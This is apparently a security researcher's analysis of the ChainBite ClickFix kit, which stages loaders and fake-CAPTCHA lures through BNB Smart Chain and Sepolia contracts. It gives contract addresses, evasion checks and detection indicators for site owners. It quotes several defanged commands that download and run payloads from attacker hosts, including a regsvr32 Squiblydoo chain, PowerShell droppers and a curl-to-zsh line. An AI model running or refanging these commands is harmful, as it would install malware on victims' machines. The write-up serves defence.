ChainBite ClickFix kit

A contract for every stage

ChainBite spreads its whole attack across several contracts on BNB Smart Chain testnet, each with one job:

1. The injected loader asks a first contract for the next stage. Depending on the build, it gets back a hostname from 0x9e33a3979f74c7700e4baa7e7a2934556f72ef96 (selector 0x38bd65e2) or a whole Base64 script from 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e (selector 0x6d4ce63c). An inline loader reads its script stage from 0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F.
2. That script checks the visitor, then reads a second contract chosen by operating system. Windows builds read 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff or 0x0cD58060328e308a43d3c53cfd03A45233EA308a; macOS builds read 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5. 0xfb6484dC6cbE8af83E940e08748B7DE88b17cB64 began as a macOS stage and now returns a router that picks the child by operating system: 0x0cD58060328e308a43d3c53cfd03A45233EA308a for Windows and 0x0f14777c78d402bed55a67a6eb55dc87cc0b050a for macOS. The inline loader's contract now reaches its lure through that router.
3. The operating-system contract returns the lure itself, wrapped in Base64 and gzip.

On sites behind the BW panel, the lure keeps score on chain. It gives each visitor an id, stored in a cjs_id cookie: the visitor's public IP address from Avast's IP lookup service, or a random string if that fails. The IP address is also what the operator's server sees when the copied command runs. The lure sends the id as a string to BNB Smart Chain testnet contract 0xf4a32588b50a59a82fba148d436081a48d80832a with selector 0x24513bb6, and the contract answers yes or no. The operator writes the answers through the contract's two write functions, so the contract holds a list of visitors who ran the command.

The lure asks before it shows anything: a visitor already marked yes never sees the fake check. While the check is on screen, the lure asks again every second and takes the check down as soon as the answer turns yes. The checkbox also reports each click to Yandex Metrica counter 99162160 under the same id.

Every stage is fetched through several public RPC services with failover. A separate version runs the same steps on Ethereum Sepolia, reading 0x0EB267784DA2c37fF5b09238C369a8E8d23C9b46 for its gate and, for Windows visitors, 0x0Aa9996FbB680f6F80fd65EB5548F8b8B4F7c4De for the lure.

Researchers and abuse reports file this activity under ClearFake.

On the page

The loader arrives in three forms: a script whose source is a Base64 data: URI, a plain inline script, and an XOR loader that takes two atob values, uses the first as a repeating key for the second and writes the result back into the page. The decoded code centres on a function named load_.

Checks for headless browsers and private networks

Before showing anything, the gate looks for headless browsers and visitors on private networks. If it finds one, it stops and writes stop watching us :) to the browser console.

The lure and the command

The Sepolia version shows a fake reCAPTCHA. The command it copies chains three Windows tools that are already on every machine:

pcalua.exe -a cmd -c "curl.exe -s hxxps://[host]/[id]/verification.sct -o %TEMP%\v.sct&&regsvr32 /s /n /u /i:%TEMP%\v.sct scrobj.dll"

The Program Compatibility Assistant (pcalua.exe) starts the command prompt, curl downloads a scriptlet, and regsvr32 runs it through scrobj.dll, a technique known as Squiblydoo.

The Windows lure also carries a function that "unscrambles" a string into an invalid hostname. The download address is written straight into the command. Mac visitors are sent to an address on a subdomain made for them alone.

What we see

Month	New sites
September	4,832
October	5,154
November so far	711

Of the sites captured since 25 September, 55% run WordPress. Of those, 64% run WordPress 7.1.

Checking a site

Look in the page source for:

• a script whose src starts with data:text/javascript;base64,, or an inline script you did not add, that calls BNB Smart Chain testnet or Sepolia RPC services
• a function named load_ in injected code
• two atob(...) values feeding a loop that XORs one with the other
• a cjs_id cookie set on visitors, or calls to selector 0x24513bb6

In a browser's developer console, the message stop watching us :) on your own site settles it.

pcalua.exe -a cmd -c "/c curl.exe -s hxxps://193-233-126-53[.]sslip[.]io/d3f8a142c9/verification.sct -o %TEMP%\v.sct&&regsvr32 /s /n /u /i:%TEMP%\v.sct scrobj.dll"

powershell $xSm=@(foreach($dHxY in gmo -List){$dHxY.ExportedCommands.Keys});$XlpFq=$xSm-clike'*o*x*r*n';$HiIr=$xSm-clike'*-R*M*h*';$HiIr=.$HiIr warmal[.]net;$XlpFq=.$XlpFq $HiIr;

$t=$env:APPDATA+[char]92+"l";$z=$t+[char]92+"l[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://swingerwives[.]com";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Gratefull.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

powershell -ep bypass -w h -c "iwr 'hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"

curl -s $(echo "[base64 of: hxxps://postaspen18[.]com/curl/403rtw0brf8/xcity3lv14lpb1qv.dat]" | openssl base64 -d -A) | zsh